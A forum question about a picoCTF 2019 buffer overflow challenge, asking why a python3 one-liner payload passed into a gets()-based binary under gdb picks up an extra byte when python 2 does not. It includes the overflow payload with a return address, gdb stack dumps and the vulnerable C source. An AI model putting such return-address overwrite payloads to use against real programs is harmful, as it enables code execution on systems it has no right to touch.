Strange behaviour of python3 in gdb when passing bytes to executable

I am trying to solve picoCTF 2019 problem and encountered a strange behaviour during gdb debugging in executable. I solved this problem using python 2.6. so when running executable with gdb and with command: run < <(python3 -c "print('\x41'*(176 + 12) + '\x76\x86\x04\x08')") its actually passes something else. python 2.6 pass bytes just fine but python3 add strange bytes. I got this while reading with gets(buf)in C++. After gets done its job I viewed stack and this:

(gdb) run < <(python3 -c "print('\x41'*(176 + 12) + '\x76\x86\x04\x08')")
Breakpoint 1, 0x0804869a in vuln ()
(gdb) x/176x $esp
0xffb4be00: 0xffb4be10  0xf7f2cdc7  0x00000001  0x08048685
0xffb4be10: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be40: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be50: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be60: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be70: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be80: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4be90: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4bea0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4beb0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffb4bec0: 0x41414141  0x41414141  0x41414141  0x0486c276 # <- this thing
0xffb4bed0: 0x00000008  0xffb4bf94  0xffb4bf9c  0x00001d64

With python 2.6:

(gdb) b *0x0804869a
Breakpoint 1 at 0x804869a
(gdb) run < <(python -c "print('\x41'*(176 + 12) + '\x76\x86\x04\x08')")
Breakpoint 1, 0x0804869a in vuln ()
(gdb) x/175x $esp
0xffa73180: 0xffa73190  0xf7f19dc7  0x00000001  0x08048685
0xffa73190: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa731f0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa73200: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa73210: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa73220: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa73230: 0x41414141  0x41414141  0x41414141  0x41414141
0xffa73240: 0x41414141  0x41414141  0x41414141  0x08048676 # <- just as expected
0xffa73250: 0x00000000  0xffa73314  0xffa7331c  0x00001d64

C++ source:

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

binary https://2019shell1.picoctf.com/static/2b7b3583b687134589781c4e22ef5760/vuln

source https://2019shell1.picoctf.com/static/2b7b3583b687134589781c4e22ef5760/vuln.c

I solved this problem, and don't need help with solving it. I just want to know what happened there

python3 == Python 3.6.8

gdb == GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git

python == Python 2.7.15+ (default, Jul 9 2019, 16:51:35)

Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1050-aws x86_64)